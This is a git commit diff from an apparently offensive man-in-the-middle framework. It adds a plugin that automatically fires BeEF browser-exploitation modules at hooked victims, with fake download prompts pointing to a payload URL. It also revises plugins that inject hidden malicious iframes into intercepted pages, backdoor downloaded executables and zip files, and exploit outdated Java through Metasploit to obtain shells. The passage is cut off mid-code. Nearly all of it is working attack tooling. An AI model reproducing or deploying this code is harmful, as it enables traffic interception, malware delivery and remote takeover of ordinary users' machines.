code cleanup on all plugins, disabled annoying "Starting new HTTP Connection" log message, added BeefAutorun plugin and beefapi lib

This commit is contained in:
byt3bl33d3r 2014-08-14 11:30:44 +02:00
parent e7cc6316f1
commit 73e7ca2f3d
17 changed files with 409 additions and 240 deletions

1
.gitignore vendored
View file

@ -1,4 +1,3 @@
*.pyc *.pyc
/plugins/old_plugins/ /plugins/old_plugins/
backdoored/ backdoored/
bdfactory/

View file

@ -9,6 +9,7 @@ This tool is completely based on sergio-proxy https://code.google.com/p/sergio-p
Availible plugins: Availible plugins:
- Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects - Spoof - Redirect traffic using ARP Spoofing, DNS Spoofing or ICMP Redirects
- BeEFAutorun - Autoruns BeEF modules based on clients OS or browser type
- AppCachePoison - Perform app cache poison attacks - AppCachePoison - Perform app cache poison attacks
- BrowserProfiler - Attempts to enumerate all browser plugins of connected clients - BrowserProfiler - Attempts to enumerate all browser plugins of connected clients
- CacheKill - Kills page caching by modifying headers - CacheKill - Kills page caching by modifying headers
@ -22,7 +23,7 @@ Availible plugins:
So far the most significant changes have been: So far the most significant changes have been:
- Spoof plugin is live !! Supports ICMP, ARP and DNS spoofing - Spoof plugin now supports ICMP, ARP and DNS spoofing
(DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/) (DNS Spoofing code was stolen from https://github.com/DanMcInerney/dnsspoof/)
- Usage of third party tools has been completely removed (e.g. ettercap) - Usage of third party tools has been completely removed (e.g. ettercap)
@ -31,13 +32,17 @@ So far the most significant changes have been:
- Addition of the JsKeylogger plugin - Addition of the JsKeylogger plugin
- Addition of the BeefAutorun plugin
- FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory - FilePwn plugin re-written to backdoor executables and zip files on the fly by using the-backdoor-factory
https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy https://github.com/secretsquirrel/the-backdoor-factory and code from BDFProxy https://github.com/secretsquirrel/BDFProxy
- Added msfrpc.py for interfacing with Metasploits rpc server - Added msfrpc.py for interfacing with Metasploits rpc server
- Added beefapi.py for interfacing with BeEF's RESTfulAPI
- Added Replace plugin - Added Replace plugin
- Addition of the app-cache poisoning attack by Krzysztof Kotowicz - Addition of the app-cache poisoning attack by Krzysztof Kotowicz
- JavaPwn plugin now live! Auto-detect and exploit clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!! - JavaPwn plugin auto-detects and exploits clients with out-of-date java plugins using the Metasploit Frameworks rpc interface!!

View file

@ -0,0 +1,31 @@
#Example config file for the BeefAutorun plugin
mode = oneshot #can be set to loop, or oneshot
#in loop mode the plugin will run modules on all hooked browsers every 10 seconds
#in oneshot mode the plugin will run modules only once per hooked browser
[ALL] #Runs specified modules on all hooked browsers
'Man-In-The-Browser'= '{}'
[targets] #Runs specified modules based on OS and Browser type
[[Windows]] #Target all Windows versions using Firefox and Internet Explorer
[[[FF]]]
'Fake Notification Bar (Firefox)' = '{"url": "http://example.com/payload", "notification_text": "Click this if you dare"}'
[[[IE]]]
'Fake Notification Bar (IE)' = '{"notification_text": "Click this if you dare"}'
[[Windows 7]] #Target only Windows 7 using Chrome
[[[C]]]
'Fake Notification Bar (Chrome)' = '{"url": "http://example.com/payload", "notification_text: "Click this if you dare"}'
[[Linux]] #Target Linux platforms using Chrome
[[[C]]]
'Redirect Browser (Rickroll)' = '{}'

View file

@ -2,9 +2,7 @@
import requests import requests
import json import json
from random import sample from random import sample
from time import sleep
from string import lowercase, digits from string import lowercase, digits
from unicodedata import normalize
class BeefAPI: class BeefAPI:
@ -51,9 +49,9 @@ class BeefAPI:
return self.get_sessions("offline", "ip") return self.get_sessions("offline", "ip")
def get_sessions(self, state, value): def get_sessions(self, state, value):
r = requests.get(self.hookurl).json()
hooks = [] hooks = []
try: try:
r = requests.get(self.hookurl + self.token).json()
for v in r["hooked-browsers"][state].items(): for v in r["hooked-browsers"][state].items():
hooks.append(str(v[1][value])) hooks.append(str(v[1][value]))
return hooks return hooks
@ -61,72 +59,72 @@ class BeefAPI:
print "beefapi ERROR: %s" % e print "beefapi ERROR: %s" % e
def getModid(self, name): #Returns module id def getModid(self, name): #Returns module id
url = self.url + "%s" % (self.token) url = self.mod_url + self.token
r = requests.get(url).json()
try: try:
r = requests.get(url).json()
for v in r.values(): for v in r.values():
if v["name"] == name: if v["name"] == name:
return v["id"] return v["id"]
except KeyError: except Exception, e:
print "beefapi ERROR: module '" + name + "' not found!" print "beefapi ERROR: %s" % e
return None
def getModname(self, id): #Returns module name def getModname(self, id): #Returns module name
url = self.url + "modules?token=%s" % (self.token) url = self.mod_url + self.token
r = requests.get(url).json()
try: try:
r = requests.get(url).json()
for v in r.values(): for v in r.values():
if v["id"] == id: if v["id"] == id:
return v["name"] return v["name"]
except KeyError: except Exception, e:
print "beefapi ERROR: module '" + id + "' not found!" print "beefapi ERROR: %s" % e
return None
def host2session(self, ip): # IP => Session def host2session(self, ip): #IP => Session
url = self.url + "hooks?token=%s" % (self.token) url = self.hookurl + self.token
r = requests.get(url).json()
try: try:
r = requests.get(url).json()
for v in r["hooked-browsers"]["online"].items(): for v in r["hooked-browsers"]["online"].items():
if v[1]["ip"] == ip: if v[1]["ip"] == ip:
return v[1]["session"] return v[1]["session"]
else: else:
session = None session = None
if session == None: if session is None:
for v in r["hooked-browsers"]["offline"].items(): for v in r["hooked-browsers"]["offline"].items():
if v[1]["ip"] == ip: if v[1]["ip"] == ip:
return v[1]["session"] return v[1]["session"]
else: else:
return None return None
except KeyError: except Exception, e:
pass print "beefapi ERROR: %s" % e
def session2host(self, session): # Session => IP
url = self.url + "hooks?token=%s" % (self.token)
r = requests.get(url).json()
def session2host(self, session): #Session => IP
url = self.hookurl + self.token
try: try:
r = requests.get(url).json()
for v in r["hooked-browsers"]["online"].items(): for v in r["hooked-browsers"]["online"].items():
if v[1]["session"] == session: if v[1]["session"] == session:
return v[1]["ip"] return v[1]["ip"]
else: else:
ip = None ip = None
if ip == None: if ip is None:
for v in r["hooked-browsers"]["offline"].items(): for v in r["hooked-browsers"]["offline"].items():
if v[1]["session"] == session: if v[1]["session"] == session:
return v[1]["ip"] return v[1]["ip"]
else: else:
return None return None
except KeyError: except Exception, e:
pass print "beefapi ERROR: %s" % e
def runModule(self, session, mod_id, options={}): #Executes a module on a specified session def runModule(self, session, mod_id, options={}): #Executes a module on a specified session
headers = {"Content-Type": "application/json", "charset": "UTF-8"} try:
payload = json.dumps(options) headers = {"Content-Type": "application/json", "charset": "UTF-8"}
url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token) payload = json.dumps(options)
return requests.post(url, headers=headers, data=payload).json() url = self.url + "modules/%s/%s?token=%s" % (session, mod_id, self.token)
return requests.post(url, headers=headers, data=payload).json()
except Exception, e:
print "beefapi ERROR: %s" % e
def moduleResult(self, session, mod_id, cmd_id): def moduleResult(self, session, mod_id, cmd_id):
url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token) url = self.mod_url + "%s/%s/%s?token=%s" % (session, mod_id, cmd_id, self.token)

View file

@ -1,6 +1,7 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
from sslstrip.ResponseTampererFactory import ResponseTampererFactory from sslstrip.ResponseTampererFactory import ResponseTampererFactory
import threading #import threading
class AppCachePlugin(Plugin): class AppCachePlugin(Plugin):
name = "App Cache Poison" name = "App Cache Poison"
@ -8,12 +9,12 @@ class AppCachePlugin(Plugin):
desc = "Performs App Cache Poisoning attacks" desc = "Performs App Cache Poisoning attacks"
has_opts = True has_opts = True
def initialize(self,options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.config_file = options.tampercfg self.config_file = options.tampercfg
if self.config_file == None: if self.config_file is None:
self.config_file = "./config_files/app_cache_poison.cfg" self.config_file = "./config_files/app_cache_poison.cfg"
print "[*] App Cache Poison plugin online" print "[*] App Cache Poison plugin online"

117
plugins/BeefAutorun.py Normal file
View file

@ -0,0 +1,117 @@
from plugins.plugin import Plugin
from time import sleep
import sys
import json
import threading
import logging
import libs.beefapi as beefapi
try:
from configobj import ConfigObj
except:
sys.exit('[-] configobj library not installed!')
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
class BeefAutorun(Plugin):
name = "BeEFAutorun"
optname = "beefauto"
has_opts = True
desc = "Autoruns BeEF modules based on Browser or OS type"
def initialize(self, options):
self.options = options
self.autoruncfg = "./config_files/beefautorun.cfg" or options.autoruncfg
self.beefip = options.beefip
self.beefport = options.beefport
self.beefuser = options.beefuser
self.beefpass = options.beefpass
beef = beefapi.BeefAPI({"host": self.beefip, "port": self.beefport})
if beef.login(self.beefuser, self.beefpass):
print "[*] Successfully logged in to BeEF"
else:
sys.exit("[-] Error logging in to BeEF!")
userconfig = ConfigObj(self.autoruncfg)
self.Mode = userconfig['mode']
if self.Mode == 'oneshot':
print '[*] Setting mode to oneshot'
elif self.Mode == 'loop':
print '[*] Setting mode to loop'
else:
sys.exit("[-] Error: unrecognized mode set in config file")
self.All_modules = userconfig["ALL"]
self.Targeted_modules = userconfig["targets"]
print "[*] BeEFAutorun plugin online"
t = threading.Thread(name="autorun", target=self.autorun, args=(beef,))
t.setDaemon(True)
t.start()
def autorun(self, beef):
already_hooked = []
already_ran = []
while True:
sessions = beef.onlineSessions()
if (sessions is not None) and (len(sessions) > 0):
for session in sessions:
session_ip = beef.session2host(session)
if session not in already_hooked:
logging.info("%s >> joined the horde!" % session_ip)
already_hooked.append(session)
if self.Mode == 'oneshot':
if session not in already_ran:
self.execModules(session, session_ip, beef)
already_ran.append(session)
elif self.Mode == 'loop':
self.execModules(session, session_ip, beef)
sleep(10)
else:
sleep(1)
def execModules(self, session, session_ip, beef):
session_browser = beef.sessionInfo(session)["BrowserName"]
session_os = beef.sessionInfo(session)["OsName"]
if len(self.All_modules) > 0:
logging.info("%s >> sending generic modules" % session_ip)
for module, options in self.All_modules.items():
mod_id = beef.getModid(module)
resp = beef.runModule(session, mod_id, json.loads(options))
if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id))
else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5)
logging.info("%s >> sending targeted modules" % session_ip)
for os in self.Targeted_modules:
if (os in session_os) or (os == session_os):
browsers = self.Targeted_modules[os]
if len(browsers) > 0:
for browser in browsers:
if browser == session_browser:
modules = self.Targeted_modules[os][browser]
if len(modules) > 0:
for module, options in modules.items():
mod_id = beef.getModid(module)
resp = beef.runModule(session, mod_id, json.loads(options))
if resp["success"] == 'true':
logging.info('%s >> sent module %s' % (session_ip, mod_id))
else:
logging.info('%s >> ERROR sending module %s' % (session_ip, mod_id))
sleep(0.5)
def add_options(self, options):
options.add_argument('--beefip', dest='beefip', default='127.0.0.1', help="IP of BeEF's server [default: localhost]")
options.add_argument('--beefport', dest='beefport', default='3000', help="Port of BeEF's server [default: 3000]")
options.add_argument('--beefuser', dest='beefuser', default='beef', help='Username for beef [default: beef]')
options.add_argument('--beefpass', dest='beefpass', default='beef', help='Password for beef [default: beef]')
options.add_argument('--autoruncfg', type=file, help='Specify a config file [default: beefautorun.cfg]')

View file

@ -3,20 +3,21 @@ from plugins.Inject import Inject
from pprint import pformat from pprint import pformat
import logging import logging
class BrowserProfiler(Inject, Plugin): class BrowserProfiler(Inject, Plugin):
name = "Browser Profiler" name = "Browser Profiler"
optname = "browserprofiler" optname = "browserprofiler"
desc = "Attempts to enumerate all browser plugins of connected clients" desc = "Attempts to enumerate all browser plugins of connected clients"
implements = ["handleResponse","handleHeader","connectionMade", "sendPostData"] implements = ["handleResponse", "handleHeader", "connectionMade", "sendPostData"]
has_opts = False has_opts = False
def initialize(self,options): def initialize(self, options):
Inject.initialize(self, options) Inject.initialize(self, options)
self.html_payload = self.get_payload() self.html_payload = self.get_payload()
self.dic_output = {} # so other plugins can access the results self.dic_output = {} # so other plugins can access the results
print "[*] Browser Profiler online" print "[*] Browser Profiler online"
def post2dict(self, string): #converts the ajax post to a dic def post2dict(self, string): #converts the ajax post to a dic
dict = {} dict = {}
for line in string.split('&'): for line in string.split('&'):
t = line.split('=') t = line.split('=')
@ -27,7 +28,7 @@ class BrowserProfiler(Inject, Plugin):
#Handle the plugin output #Handle the plugin output
if 'clientprfl' in request.uri: if 'clientprfl' in request.uri:
self.dic_output = self.post2dict(request.postData) self.dic_output = self.post2dict(request.postData)
self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client self.dic_output['ip'] = str(request.client.getClientIP()) # add the IP of the client
pretty_output = pformat(self.dic_output) pretty_output = pformat(self.dic_output)
logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output)) logging.warning("%s Browser Profiler data:\n%s" % (request.client.getClientIP(), pretty_output))

View file

@ -1,22 +1,23 @@
from plugins.plugin import Plugin from plugins.plugin import Plugin
class CacheKill(Plugin): class CacheKill(Plugin):
name = "CacheKill Plugin" name = "CacheKill Plugin"
optname = "cachekill" optname = "cachekill"
desc = "Kills page caching by modifying headers" desc = "Kills page caching by modifying headers"
implements = ["handleHeader","connectionMade"] implements = ["handleHeader", "connectionMade"]
has_opts = True has_opts = True
bad_headers = ['if-none-match','if-modified-since'] bad_headers = ['if-none-match', 'if-modified-since']
def add_options(self,options): def add_options(self, options):
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).") options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
def handleHeader(self,request,key,value): def handleHeader(self, request, key, value):
'''Handles all response headers''' '''Handles all response headers'''
request.client.headers['Expires'] = "0" request.client.headers['Expires'] = "0"
request.client.headers['Cache-Control'] = "no-cache" request.client.headers['Cache-Control'] = "no-cache"
def connectionMade(self,request): def connectionMade(self, request):
'''Handles outgoing request''' '''Handles outgoing request'''
request.headers['Pragma'] = 'no-cache' request.headers['Pragma'] = 'no-cache'
for h in self.bad_headers: for h in self.bad_headers:

View file

@ -2,7 +2,8 @@
# 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy # 99.9999999% of this code is stolen from BDFProxy - https://github.com/secretsquirrel/BDFProxy
################################################################################################# #################################################################################################
import sys, os import sys
import os
import pefile import pefile
import zipfile import zipfile
import logging import logging
@ -18,6 +19,7 @@ try:
except: except:
sys.exit('[-] configobj library not installed!') sys.exit('[-] configobj library not installed!')
class FilePwn(Plugin): class FilePwn(Plugin):
name = "FilePwn" name = "FilePwn"
optname = "filepwn" optname = "filepwn"
@ -33,13 +35,10 @@ class FilePwn(Plugin):
elif aString.lower() == 'none': elif aString.lower() == 'none':
return None return None
def initialize(self,options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.filepwncfg = options.filepwncfg self.filepwncfg = "./config_files/filepwn.cfg" or options.filepwncfg
if self.filepwncfg == None:
self.filepwncfg = "./config_files/filepwn.cfg"
self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload',
'application/x-msdos-program', 'binary/octet-stream'] 'application/x-msdos-program', 'binary/octet-stream']
@ -263,7 +262,7 @@ class FilePwn(Plugin):
return aZipFile return aZipFile
def handleResponse(self,request,data): def handleResponse(self, request, data):
content_header = request.client.headers['Content-Type'] content_header = request.client.headers['Content-Type']
@ -272,7 +271,7 @@ class FilePwn(Plugin):
bd_zip = self.zipGrinder(data) bd_zip = self.zipGrinder(data)
if bd_zip: if bd_zip:
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP()) logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
return {'request':request,'data':bd_zip} return {'request': request, 'data': bd_zip}
elif content_header in self.binaryMimeTypes: elif content_header in self.binaryMimeTypes:
logging.info("%s Detected supported binary type!" % request.client.getClientIP()) logging.info("%s Detected supported binary type!" % request.client.getClientIP())
@ -286,11 +285,11 @@ class FilePwn(Plugin):
bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read()
os.remove('./backdoored/' + os.path.basename(tmpFile)) os.remove('./backdoored/' + os.path.basename(tmpFile))
logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP()) logging.info("%s Patching complete, forwarding to client" % request.client.getClientIP())
return {'request':request,'data':bd_binary} return {'request': request, 'data': bd_binary}
else: else:
logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header)) logging.debug("%s File is not of supported Content-Type: %s" % (request.client.getClientIP(), content_header))
return {'request':request,'data':data} return {'request': request, 'data': data}
def add_options(self, options): def add_options(self, options):
options.add_argument("--filepwncfg", type=file, help="Specify a config file") options.add_argument("--filepwncfg", type=file, help="Specify a config file")

View file

@ -1,16 +1,21 @@
import os,subprocess,logging,time,re #import os
#import subprocess
import logging
import time
import re
import argparse import argparse
from plugins.plugin import Plugin from plugins.plugin import Plugin
from plugins.CacheKill import CacheKill from plugins.CacheKill import CacheKill
class Inject(CacheKill,Plugin):
class Inject(CacheKill, Plugin):
name = "Inject" name = "Inject"
optname = "inject" optname = "inject"
implements = ["handleResponse","handleHeader","connectionMade"] implements = ["handleResponse", "handleHeader", "connectionMade"]
has_opts = True has_opts = True
desc = "Inject arbitrary content into HTML content" desc = "Inject arbitrary content into HTML content"
def initialize(self,options): def initialize(self, options):
'''Called if plugin is enabled, passed the options namespace''' '''Called if plugin is enabled, passed the options namespace'''
self.options = options self.options = options
self.html_src = options.html_url self.html_src = options.html_url
@ -25,7 +30,7 @@ class Inject(CacheKill,Plugin):
self.implements.remove("handleHeader") self.implements.remove("handleHeader")
self.implements.remove("connectionMade") self.implements.remove("connectionMade")
if options.html_file != None: if options.html_file is not None:
self.html_payload += options.html_file.read() self.html_payload += options.html_file.read()
self.ctable = {} self.ctable = {}
@ -34,21 +39,19 @@ class Inject(CacheKill,Plugin):
self.mime = "text/html" self.mime = "text/html"
print "[*] Inject plugin online" print "[*] Inject plugin online"
def handleResponse(self, request, data):
def handleResponse(self,request,data):
#We throttle to only inject once every two seconds per client #We throttle to only inject once every two seconds per client
#If you have MSF on another host, you may need to check prior to injection #If you have MSF on another host, you may need to check prior to injection
#print "http://" + request.client.getRequestHostname() + request.uri #print "http://" + request.client.getRequestHostname() + request.uri
ip,hn,mime = self._get_req_info(request) ip, hn, mime = self._get_req_info(request)
if self._should_inject(ip,hn,mime) and \ if self._should_inject(ip, hn, mime) and (not self.js_src == self.html_src is not None or not self.html_payload == ""):
(not self.js_src==self.html_src==None or not self.html_payload==""):
data = self._insert_html(data,post=[(self.match_str,self._get_payload())]) data = self._insert_html(data, post=[(self.match_str, self._get_payload())])
self.ctable[ip] = time.time() self.ctable[ip] = time.time()
self.dtable[ip+hn] = True self.dtable[ip+hn] = True
self.count+=1 self.count += 1
logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host'])) logging.info("%s [%s] Injected malicious html" % (request.client.getClientIP(), request.headers['host']))
return {'request':request,'data':data} return {'request': request, 'data': data}
else: else:
return return
@ -57,46 +60,49 @@ class Inject(CacheKill,Plugin):
def add_options(self,options): def add_options(self,options):
options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.") options.add_argument("--js-url", type=str, help="Location of your (presumably) malicious Javascript.")
options.add_argument("--html-url",type=str,help="Location of your (presumably) malicious HTML. Injected via hidden iframe.") options.add_argument("--html-url", type=str, help="Location of your (presumably) malicious HTML. Injected via hidden iframe.")
options.add_argument("--html-payload",type=str,default="",help="String you would like to inject.") options.add_argument("--html-payload", type=str, default="", help="String you would like to inject.")
options.add_argument("--html-file",type=argparse.FileType('r'),default=None,help="File containing code you would like to inject.") options.add_argument("--html-file", type=argparse.FileType('r'), default=None, help="File containing code you would like to inject.")
options.add_argument("--match-str",type=str,default="</body>",help="String you would like to match and place your payload before. (</body> by default)") options.add_argument("--match-str", type=str, default="</body>", help="String you would like to match and place your payload before. (</body> by default)")
options.add_argument("--per-domain",action="store_true",help="Inject once per domain per client.") options.add_argument("--per-domain", action="store_true", help="Inject once per domain per client.")
options.add_argument("--rate-limit",type=float,help="Inject once every RATE_LIMIT seconds per client.") options.add_argument("--rate-limit", type=float, help="Inject once every RATE_LIMIT seconds per client.")
options.add_argument("--count-limit",type=int,help="Inject only COUNT_LIMIT times per client.") options.add_argument("--count-limit", type=int, help="Inject only COUNT_LIMIT times per client.")
options.add_argument("--preserve-cache",action="store_true",help="Don't kill the server/client caching.") options.add_argument("--preserve-cache", action="store_true", help="Don't kill the server/client caching.")
def _should_inject(self,ip,hn,mime): def _should_inject(self, ip, hn, mime):
if self.count_limit==self.rate_limit==None and not self.per_domain: if self.count_limit == self.rate_limit is None and not self.per_domain:
return True return True
if self.count_limit != None and self.count > self.count_limit:
if self.count_limit is not None and self.count > self.count_limit:
#print "1" #print "1"
return False return False
if self.rate_limit != None:
if ip in self.ctable and time.time()-self.ctable[ip]<self.rate_limit: if self.rate_limit is not None:
if ip in self.ctable and time.time()-self.ctable[ip] < self.rate_limit:
return False return False
if self.per_domain: if self.per_domain:
return not ip+hn in self.dtable return not ip+hn in self.dtable
#print mime #print mime
return mime.find(self.mime)!=-1 return mime.find(self.mime) != -1
def _get_req_info(self,request): def _get_req_info(self, request):
ip = request.client.getClientIP() ip = request.client.getClientIP()
hn = request.client.getRequestHostname() hn = request.client.getRequestHostname()
mime = request.client.headers['Content-Type'] mime = request.client.headers['Content-Type']
return (ip,hn,mime) return (ip, hn, mime)
def _get_iframe(self): def _get_iframe(self):
if self.html_src != None: if self.html_src is not None:
return '<iframe src="%s" height=0%% width=0%%></iframe>'%(self.html_src) return '<iframe src="%s" height=0%% width=0%%></iframe>' % (self.html_src)
return '' return ''
def _get_js(self): def _get_js(self):
if self.js_src != None: if self.js_src is not None:
return '<script type="text/javascript" src="%s"></script>'%(self.js_src) return '<script type="text/javascript" src="%s"></script>' % (self.js_src)
return '' return ''
def _insert_html(self,data,pre=[],post=[],re_flags=re.I): def _insert_html(self, data, pre=[], post=[], re_flags=re.I):
''' '''
To use this function, simply pass a list of tuples of the form: To use this function, simply pass a list of tuples of the form:
@ -107,11 +113,13 @@ class Inject(CacheKill,Plugin):
The pre array will have the match in front of your injected code, the post The pre array will have the match in front of your injected code, the post
will put the match behind it. will put the match behind it.
''' '''
pre_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in pre] pre_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in pre]
post_regexes = [re.compile(r"(?P<match>"+i[0]+")",re_flags) for i in post] post_regexes = [re.compile(r"(?P<match>"+i[0]+")", re_flags) for i in post]
for i, r in enumerate(pre_regexes):
data = re.sub(r, "\g<match>"+pre[i][1], data)
for i, r in enumerate(post_regexes):
data = re.sub(r, post[i][1]+"\g<match>", data)
for i,r in enumerate(pre_regexes):
data=re.sub(r,"\g<match>"+pre[i][1],data)
for i,r in enumerate(post_regexes):
data=re.sub(r,post[i][1]+"\g<match>",data)
return data return data

View file

@ -6,13 +6,17 @@ import string
import random import random
import threading import threading
import logging import logging
import sys, os import sys
try: try:
from configobj import ConfigObj from configobj import ConfigObj
except: except:
sys.exit('[-] configobj library not installed!') sys.exit('[-] configobj library not installed!')
requests_log = logging.getLogger("requests") #Disables "Starting new HTTP Connection (1)" log message
requests_log.setLevel(logging.WARNING)
class JavaPwn(BrowserProfiler, Plugin): class JavaPwn(BrowserProfiler, Plugin):
name = "JavaPwn" name = "JavaPwn"
optname = "javapwn" optname = "javapwn"
@ -26,28 +30,24 @@ class JavaPwn(BrowserProfiler, Plugin):
self.msfport = options.msfport self.msfport = options.msfport
self.rpcip = options.rpcip self.rpcip = options.rpcip
self.rpcpass = options.rpcpass self.rpcpass = options.rpcpass
self.javapwncfg = options.javapwncfg self.javapwncfg = './config_files/javapwn.cfg' or options.javapwncfg
if not self.msfip: if not self.msfip:
sys.exit('[-] JavaPwn plugin requires --msfip') sys.exit('[-] JavaPwn plugin requires --msfip')
if not self.javapwncfg:
self.javapwncfg = './config_files/javapwn.cfg'
self.javacfg = ConfigObj(self.javapwncfg) self.javacfg = ConfigObj(self.javapwncfg)
self.javaVersionDic = {} self.javaVersionDic = {}
for key, value in self.javacfg.iteritems(): for key, value in self.javacfg.iteritems():
self.javaVersionDic[float(key)] = value self.javaVersionDic[float(key)] = value
self.sploited_ips = [] #store ip of pwned or not vulnarable clients so we don't re-exploit
self.sploited_ips = [] # store ip of pwned or not vulnarable clients so we don't re-exploit
try: try:
msf = msfrpc.Msfrpc({"host" : self.rpcip}) #create an instance of msfrpc libarary msf = msfrpc.Msfrpc({"host": self.rpcip}) #create an instance of msfrpc libarary
msf.login('msf', self.rpcpass) msf.login('msf', self.rpcpass)
version = msf.call('core.version')['version'] version = msf.call('core.version')['version']
print "[*] Succesfully connected to Metasploit v%s" % version print "[*] Successfully connected to Metasploit v%s" % version
except Exception: except Exception:
sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server") sys.exit("[-] Error connecting to MSF! Make sure you started Metasploit and its MSGRPC server")
@ -57,16 +57,16 @@ class JavaPwn(BrowserProfiler, Plugin):
print "[*] JavaPwn plugin online" print "[*] JavaPwn plugin online"
t = threading.Thread(name='pwn', target=self.pwn, args=(msf,)) t = threading.Thread(name='pwn', target=self.pwn, args=(msf,))
t.setDaemon(True) t.setDaemon(True)
t.start() #start the main thread t.start() #start the main thread
def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning) def rand_url(self): #generates a random url for our exploits (urls are generated with a / at the beginning)
return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5)) return "/" + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase) for _ in range(5))
def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic def version2float(self, version): #converts clients java version string to a float so we can compare the value to self.javaVersionDic
v = version.split(".") v = version.split(".")
return float(v[0] + "." + "".join(v[-(len(v)-1):])) return float(v[0] + "." + "".join(v[-(len(v)-1):]))
def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions def injectWait(self, msfinstance, url, client_ip): #here we inject an iframe to trigger the exploit and check for resulting sessions
#inject iframe #inject iframe
logging.info("%s >> now injecting iframe to trigger exploit" % client_ip) logging.info("%s >> now injecting iframe to trigger exploit" % client_ip)
self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects self.html_payload = "<iframe src='http://%s:%s%s' height=0%% width=0%%></iframe>" % (self.msfip, self.msfport, url) #temporarily changes the code that the Browserprofiler plugin injects
@ -75,64 +75,63 @@ class JavaPwn(BrowserProfiler, Plugin):
exit = False exit = False
i = 1 i = 1
while i <= 30: #wait max 60 seconds for a new shell while i <= 30: #wait max 60 seconds for a new shell
if exit == True: if exit:
break break
shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions shell = msfinstance.call('session.list') #poll metasploit every 2 seconds for new sessions
if len(shell) > 0: if len(shell) > 0:
for k,v in shell.items(): for k, v in shell.items():
if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted if client_ip in shell[k]['tunnel_peer']: #make sure the shell actually came from the ip that we targeted
logging.info("%s >> Got shell!" % client_ip) logging.info("%s >> Got shell!" % client_ip)
self.sploited_ips.append(client_ip) #target successfuly exploited self.sploited_ips.append(client_ip) #target successfuly exploited
exit = True exit = True
break break
sleep(2) sleep(2)
i+=1 i += 1
if exit == False: #We didn't get a shell if exit is False: #We didn't get a shell
logging.info("%s >> session not established after 30 seconds" % client_ip) logging.info("%s >> session not established after 30 seconds" % client_ip)
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
self.html_payload = self.get_payload() # restart the BrowserProfiler plugin
def pwn(self, msfinstance): def pwn(self, msfinstance):
while True: while True:
if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled if (len(self.dic_output) > 0) and self.dic_output['java_installed'] == '1': #only choose clients that we are 100% sure have the java plugin installed and enabled
brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format brwprofile = self.dic_output #self.dic_output is the output of the BrowserProfiler plugin in a dictionary format
if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited if brwprofile['ip'] not in self.sploited_ips: #continue only if the ip has not been already exploited
vic_ip = brwprofile['ip'] vic_ip = brwprofile['ip']
client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float client_version = self.version2float(brwprofile['java_version']) #convert the clients java string version to a float
logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version'])) logging.info("%s >> client has java version %s installed! Proceeding..." % (vic_ip, brwprofile['java_version']))
logging.info("%s >> Choosing exploit based on version string" % vic_ip) logging.info("%s >> Choosing exploit based on version string" % vic_ip)
min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version min_version = min(self.javaVersionDic, key=lambda x: abs(x-client_version)) #retrives the exploit with minimum distance from the clients version
if client_version < min_version: #since the two version strings are now floats we can use the < operand if client_version < min_version: #since the two version strings are now floats we can use the < operand
exploit = self.javaVersionDic[min_version] #get the exploit string for that version exploit = self.javaVersionDic[min_version] #get the exploit string for that version
logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit)) logging.info("%s >> client is vulnerable to %s!" % (vic_ip, exploit))
